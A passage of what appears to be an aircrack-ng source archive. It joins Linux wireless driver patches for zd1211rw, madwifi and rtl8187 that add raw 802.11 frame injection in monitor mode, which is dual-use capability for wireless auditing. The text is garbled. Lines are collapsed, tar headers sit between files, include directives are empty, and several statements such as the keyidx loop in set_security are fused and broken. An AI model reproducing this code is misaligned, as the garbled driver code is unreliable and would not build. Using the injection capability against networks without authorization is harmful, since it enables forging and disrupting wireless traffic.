fill_rx_stats. + */ + goto free_skb; + } + + __skb_pull(skb, ZD_PLCP_HEADER_SIZE); + __skb_trim(skb, skb->len - + (IEEE80211_FCS_LEN + sizeof(struct rx_status))); + + update_qual_rssi(mac, skb->data, skb->len, stats.signal, + status->signal_strength); + + r = filter_rx(ieee, skb->data, skb->len, &stats); + if (r <= 0) { + if (r < 0) { + ieee->stats.rx_errors++; + dev_dbg_f(zd_mac_dev(mac), "Error in packet.\n"); + } + goto free_skb; + } + + if (ieee->iw_mode == IW_MODE_MONITOR) + fill_rt_header(skb_push(skb, sizeof(struct zd_rt_hdr)), mac, + &stats, status); + + r = ieee80211_rx(ieee, skb, &stats); + if (r) + return; +free_skb: + /* We are always in a soft irq. */ + dev_kfree_skb(skb); +} + +static void do_rx(unsigned long mac_ptr) +{ + struct zd_mac *mac = (struct zd_mac *)mac_ptr; + struct sk_buff *skb; + + while ((skb = skb_dequeue(&mac->rx_queue)) != NULL) + zd_mac_rx(mac, skb); +} + +int zd_mac_rx_irq(struct zd_mac *mac, const u8 *buffer, unsigned int length) +{ + struct sk_buff *skb; + + skb = dev_alloc_skb(sizeof(struct zd_rt_hdr) + length); + if (!skb) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + dev_warn(zd_mac_dev(mac), "Could not allocate skb.\n"); + ieee->stats.rx_dropped++; + return -ENOMEM; + } + skb_reserve(skb, sizeof(struct zd_rt_hdr)); + memcpy(__skb_put(skb, length), buffer, length); + skb_queue_tail(&mac->rx_queue, skb); + tasklet_schedule(&mac->rx_tasklet); + return 0; +} + +static int netdev_tx(struct ieee80211_txb *txb, struct net_device *netdev, + int pri) +{ + return zd_mac_tx(zd_netdev_mac(netdev), txb, pri); +} + +static void set_security(struct net_device *netdev, + struct ieee80211_security *sec) +{ + struct ieee80211_device *ieee = zd_netdev_ieee80211(netdev); + struct ieee80211_security *secinfo = &ieee->sec; + int keyidx; + + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), "\n"); + + for (keyidx = 0; keyidxflags & (1<encode_alg[keyidx] = sec->encode_alg[keyidx]; + secinfo->key_sizes[keyidx] = sec->key_sizes[keyidx]; + memcpy(secinfo->keys[keyidx], sec->keys[keyidx], + SCM_KEY_LEN); + } + + if (sec->flags & SEC_ACTIVE_KEY) { + secinfo->active_key = sec->active_key; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .active_key = %d\n", sec->active_key); + } + if (sec->flags & SEC_UNICAST_GROUP) { + secinfo->unicast_uses_group = sec->unicast_uses_group; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .unicast_uses_group = %d\n", + sec->unicast_uses_group); + } + if (sec->flags & SEC_LEVEL) { + secinfo->level = sec->level; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .level = %d\n", sec->level); + } + if (sec->flags & SEC_ENABLED) { + secinfo->enabled = sec->enabled; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .enabled = %d\n", sec->enabled); + } + if (sec->flags & SEC_ENCRYPT) { + secinfo->encrypt = sec->encrypt; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .encrypt = %d\n", sec->encrypt); + } + if (sec->flags & SEC_AUTH_MODE) { + secinfo->auth_mode = sec->auth_mode; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .auth_mode = %d\n", sec->auth_mode); + } +} + +static void ieee_init(struct ieee80211_device *ieee) +{ + ieee->mode = IEEE_B | IEEE_G; + ieee->freq_band = IEEE80211_24GHZ_BAND; + ieee->modulation = IEEE80211_OFDM_MODULATION | IEEE80211_CCK_MODULATION; + ieee->tx_headroom = sizeof(struct zd_ctrlset); + ieee->set_security = set_security; + ieee->hard_start_xmit = netdev_tx; + + /* Software encryption/decryption for now */ + ieee->host_build_iv = 0; + ieee->host_encrypt = 1; + ieee->host_decrypt = 1; + + /* FIXME: default to managed mode, until ieee80211 and zd1211rw can + * correctly support AUTO */ + ieee->iw_mode = IW_MODE_INFRA; +} + +static void softmac_init(struct ieee80211softmac_device *sm) +{ + sm->set_channel = set_channel; + sm->bssinfo_change = bssinfo_change; +} + +struct iw_statistics *zd_mac_get_wireless_stats(struct net_device *ndev) +{ + struct zd_mac *mac = zd_netdev_mac(ndev); + struct iw_statistics *iw_stats = &mac->iw_stats; + unsigned int i, count, qual_total, rssi_total; + + memset(iw_stats, 0, sizeof(struct iw_statistics)); + /* We are not setting the status, because ieee->state is not updated + * at all and this driver doesn't track authentication state. + */ + spin_lock_irq(&mac->lock); + count = mac->stats_count < ZD_MAC_STATS_BUFFER_SIZE ? + mac->stats_count : ZD_MAC_STATS_BUFFER_SIZE; + qual_total = rssi_total = 0; + for (i = 0; i < count; i++) { + qual_total += mac->qual_buffer[i]; + rssi_total += mac->rssi_buffer[i]; + } + spin_unlock_irq(&mac->lock); + iw_stats->qual.updated = IW_QUAL_NOISE_INVALID; + if (count > 0) { + iw_stats->qual.qual = qual_total / count; + iw_stats->qual.level = rssi_total / count; + iw_stats->qual.updated |= + IW_QUAL_QUAL_UPDATED|IW_QUAL_LEVEL_UPDATED; + } else { + iw_stats->qual.updated |= + IW_QUAL_QUAL_INVALID|IW_QUAL_LEVEL_INVALID; + } + /* TODO: update counter */ + return iw_stats; +} + +#define LINK_LED_WORK_DELAY HZ + +static void link_led_handler(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, housekeeping.link_led_work.work); + struct zd_chip *chip = &mac->chip; + struct ieee80211softmac_device *sm = ieee80211_priv(mac->netdev); + int is_associated; + int r; + + spin_lock_irq(&mac->lock); + is_associated = sm->associnfo.associated != 0; + spin_unlock_irq(&mac->lock); + + r = zd_chip_control_leds(chip, + is_associated ? LED_ASSOCIATED : LED_SCANNING); + if (r) + dev_err(zd_mac_dev(mac), "zd_chip_control_leds error %d\n", r); + + queue_delayed_work(zd_workqueue, &mac->housekeeping.link_led_work, + LINK_LED_WORK_DELAY); +} + +static void housekeeping_init(struct zd_mac *mac) +{ + INIT_DELAYED_WORK(&mac->housekeeping.link_led_work, link_led_handler); +} + +static void housekeeping_enable(struct zd_mac *mac) +{ + dev_dbg_f(zd_mac_dev(mac), "\n"); + queue_delayed_work(zd_workqueue, &mac->housekeeping.link_led_work, + 0); +} + +static void housekeeping_disable(struct zd_mac *mac) +{ + dev_dbg_f(zd_mac_dev(mac), "\n"); + cancel_rearming_delayed_workqueue(zd_workqueue, + &mac->housekeeping.link_led_work); + zd_chip_control_leds(&mac->chip, LED_OFF); +} diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.c 2007-08-23 22:26:08.000000000 +0200 @@ -781,6 +781,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.h 2007-08-23 22:26:08.000000000 +0200 @@ -221,6 +221,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-beta3/patches/old/madwifi-cvs-20050707.patch0000644000000000000000000001307110761053203021567 0ustar rootrootdiff -ur ../madwifi-cvs-20050707/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20050707/ath/if_ath.c 2005-06-25 02:35:12.000000000 +0200 +++ ./ath/if_ath.c 2005-07-30 00:27:46.000000000 +0200 @@ -1117,7 +1117,8 @@ /* * Encapsulate the packet for transmission. */ - skb = ieee80211_encap(ic, skb, &ni); + if (ic->ic_opmode != IEEE80211_M_MONITOR) + skb = ieee80211_encap(ic, skb, &ni); if (skb == NULL) { DPRINTF(sc, ATH_DEBUG_XMIT, "%s: discard, encapsulation failure\n", __func__); @@ -2830,7 +2831,7 @@ struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; int iswep, ismcast, keyix, hdrlen, pktlen, try0; - u_int8_t rix, txrate, ctsrate; + u_int8_t rix = 0, txrate, ctsrate; u_int8_t cix = 0xff; /* NB: silence compiler */ struct ath_desc *ds; struct ath_txq *txq; @@ -2847,7 +2848,7 @@ hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len; - if (iswep) { + if (iswep && ic->ic_opmode != IEEE80211_M_MONITOR) { const struct ieee80211_cipher *cip; struct ieee80211_key *k; @@ -2909,7 +2910,7 @@ * use short preamble based on the current mode and * negotiated parameters. */ - if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && + if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && ni != NULL && (ni->ni_capinfo & IEEE80211_CAPINFO_SHORT_PREAMBLE)) { shortPreamble = AH_TRUE; sc->sc_stats.ast_tx_shortpre++; @@ -2924,6 +2925,11 @@ */ switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } subtype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if (subtype == IEEE80211_FC0_SUBTYPE_BEACON) atype = HAL_PKT_TYPE_BEACON; @@ -2943,6 +2949,11 @@ txq = sc->sc_ac2q[WME_AC_VO]; break; case IEEE80211_FC0_TYPE_CTL: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } atype = HAL_PKT_TYPE_PSPOLL; /* stop setting of duration */ rix = 0; /* XXX lowest rate */ try0 = ATH_TXMAXTRY; @@ -2958,8 +2969,9 @@ /* * Data frames; consult the rate control module. */ - ath_rate_findrate(sc, an, shortPreamble, skb->len, - &rix, &try0, &txrate); + if (ic->ic_opmode != IEEE80211_M_MONITOR) + ath_rate_findrate(sc, an, shortPreamble, skb->len, + &rix, &try0, &txrate); /* * Default all non-QoS traffic to the background queue. */ @@ -2970,6 +2982,11 @@ txq = sc->sc_ac2q[WME_AC_BK]; break; default: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } printk("%s: bogus frame type 0x%x (%s)\n", dev->name, wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK, __func__); /* XXX statistic */ @@ -3092,6 +3109,17 @@ txq->axq_intrcnt = 0; } + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + int i; + try0 = 1; /* no retransmissions */ + txrate = 0; + rt = sc->sc_rates[IEEE80211_MODE_11G]; + for (i = 0; i < rt->rateCount; i++) { + if (rt->info[i].rateKbps == ic->inject_rate) + txrate = rt->info[i].rateCode; + } + } + /* * Formulate first tx descriptor with tx controls. */ @@ -3100,7 +3128,7 @@ , pktlen /* packet length */ , hdrlen /* header length */ , atype /* Atheros packet type */ - , MIN(ni->ni_txpower,60)/* txpower */ + , 60 /* txpower */ , txrate, try0 /* series 0 rate/tries */ , keyix /* key cache index */ , sc->sc_txantenna /* antenna mode */ @@ -3115,7 +3143,7 @@ * when the hardware supports multi-rate retry and * we don't use it. */ - if (try0 != ATH_TXMAXTRY) + if (try0 != ATH_TXMAXTRY && ic->ic_opmode != IEEE80211_M_MONITOR) ath_rate_setupxtxdesc(sc, an, ds, shortPreamble, rix); ds->ds_link = 0; Only in ./ath: if_ath.c.orig diff -ur ../madwifi-cvs-20050707/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20050707/net80211/ieee80211_var.h 2005-02-16 17:09:03.000000000 +0100 +++ ./net80211/ieee80211_var.h 2005-07-29 22:43:08.000000000 +0200 @@ -307,6 +307,8 @@ */ const struct ieee80211_aclator *ic_acl; void *ic_as; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur ../madwifi-cvs-20050707/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20050707/net80211/ieee80211_wireless.c 2005-03-07 17:35:09.000000000 +0100 +++ ./net80211/ieee80211_wireless.c 2005-07-29 22:50:42.000000000 +0200 @@ -328,6 +328,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -354,6 +366,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -782,6 +799,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M DSSS */ break; #endif default: aircrack-ng-1.2-beta3/patches/old/rtl8187_1025v2.patch0000644000000000000000000053272510761053203020540 0ustar rootrootdiff -Naur r8187_orig/ieee80211/ieee80211_crypt.c r8187_rawtx/ieee80211/ieee80211_crypt.c --- r8187_orig/ieee80211/ieee80211_crypt.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt.c 2007-05-16 22:00:07.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); diff -Naur r8187_orig/ieee80211/ieee80211_crypt_ccmp.c r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- r8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); diff -Naur r8187_orig/ieee80211/ieee80211_crypt_tkip.c r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- r8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,11 +20,21 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include MODULE_AUTHOR("Jouni Malinen"); @@ -431,7 +440,11 @@ static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret = 0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,12 +458,20 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif - return 0; + return ret; } static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) diff -Naur r8187_orig/ieee80211/ieee80211_crypt_wep.c r8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- r8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,11 +17,21 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include MODULE_AUTHOR("Jouni Malinen"); diff -Naur r8187_orig/ieee80211/ieee80211.h r8187_rawtx/ieee80211/ieee80211.h --- r8187_orig/ieee80211/ieee80211.h 2007-12-05 09:27:45.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211.h 2007-05-16 22:00:11.000000000 +0200 @@ -108,6 +108,8 @@ #define ieee80211_start_protocol ieee80211_start_protocol_rtl #define ieee80211_stop_protocol ieee80211_stop_protocol_rtl #define ieee80211_rx_mgt ieee80211_rx_mgt_rtl +#define ieee80211_stop_queue ieee80211_stop_queue_rtl +#define ieee80211_wake_queue ieee80211_wake_queue_rtl typedef struct ieee_param { @@ -193,6 +195,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -1064,10 +1082,15 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct work_struct ps_request_tx_ack_wq;//for ps struct work_struct hw_wakeup_wq; @@ -1390,7 +1413,11 @@ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq(struct work_struct *work); +#else extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +#endif extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, struct iw_request_info *info, diff -Naur r8187_orig/ieee80211/ieee80211_module.c r8187_rawtx/ieee80211/ieee80211_module.c --- r8187_orig/ieee80211/ieee80211_module.c 2007-12-03 10:07:33.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_module.c 2007-05-16 22:00:07.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); diff -Naur r8187_orig/ieee80211/ieee80211_rx.c r8187_rawtx/ieee80211/ieee80211_rx.c --- r8187_orig/ieee80211/ieee80211_rx.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_rx.c 2007-05-16 22:00:07.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); +//begin prism header code + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } +//end prism header code skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); diff -Naur r8187_orig/ieee80211/ieee80211_softmac.c r8187_rawtx/ieee80211/ieee80211_softmac.c --- r8187_orig/ieee80211/ieee80211_softmac.c 2007-12-05 09:26:56.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_softmac.c 2007-05-16 22:00:07.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -37,25 +37,25 @@ unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ + */ void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,9 +85,9 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } @@ -96,11 +96,11 @@ { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; */ //david, 2007.1.23 @@ -110,22 +110,22 @@ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; } - + //return 0; } struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } @@ -143,19 +143,19 @@ short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ ieee80211_sta_wakeup(ieee,0); - + if(single){ - + if(ieee->queue_stop){ - + enqueue_mgmt(ieee,skb); - + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -163,28 +163,28 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); //added by david, 2007.1.23 dev_kfree_skb_any(skb); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } @@ -192,36 +192,36 @@ inline void softmac_ps_mgmt_xmit(struct sk_buff 